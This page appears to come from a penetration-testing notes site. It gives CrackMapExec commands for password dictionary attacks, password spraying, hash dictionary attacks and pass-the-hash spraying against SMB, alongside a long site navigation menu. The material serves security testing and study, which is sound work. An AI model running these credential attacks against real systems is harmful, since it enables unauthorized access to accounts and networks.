🥷
Penetration Testing Notes
Home
  • Notes
  • Port Scanning
  • Credential-less Enumeration
    • Secure Shell
    • Simple Mail Transfer Protocol
    • File Transfer Protocol
    • Domain Name Service
    • Hypertext Transfer Protocol
    • Internet Message Access Protocol / Post Office Protocol
    • Kerberos
    • Remote Procedure Call
    • Server Message Block
    • Simple Network Management Protocol
    • Lightweight Directory Access Protocol
    • Netlogon Remote Protocol
    • Network File Share
    • Remote Desktop Protocol
    • My Structured Query Language
    • Microsoft Structured Query Language
    • Oracle Transparent Network Substrate
    • Intelligent Platform Management Interface
    • Rsync
    • R-Services
    • Remote Desktop Protocol
    • Windows Remote Management
    • Windows Management Instrumentation
  • Credentialed Enumeration
    • Secure Shell
    • Server Message Block
    • Lightweight Directory Access Protocol
    • Kerberos
    • MSSQL
    • Windows Remote Management
  • Privilege Escalation
    • Linux
    • Windows
  • Windows Active Directory
    • Abuse Weak Access Control Lists (ACLs)
    • Overpass The Hash
    • Object Scoping
    • Pass The Ticket
  • Miscellaneous
    • File Transfers
    • Shells & Payloads
    • Metasploit Framework
    • Password Mutations
  • All Notes
Powered by GitBook
On this page
  • Password dictionary attack
  • Password Spraying
  • Hash dictionary attack
  • Hash spray
  1. Credentialed Enumeration

Server Message Block

Password dictionary attack

CrackMapExec

crackmapexec smb 127.0.0.1 -u users.txt -p passwords.txt --continue-on-success

Password Spraying

cme smb $ip -u users.txt -p 'password'

Hash dictionary attack

crackmapexec smb 127.0.0.1 -u users.txt -H NThashes.txt --continue-on-success

Hash spray

crackmapexec smb 127.0.0.1 -u users.txt -H :hash --continue-on-success --local-auth
PreviousSecure ShellNextLightweight Directory Access Protocol

Last updated 1 year ago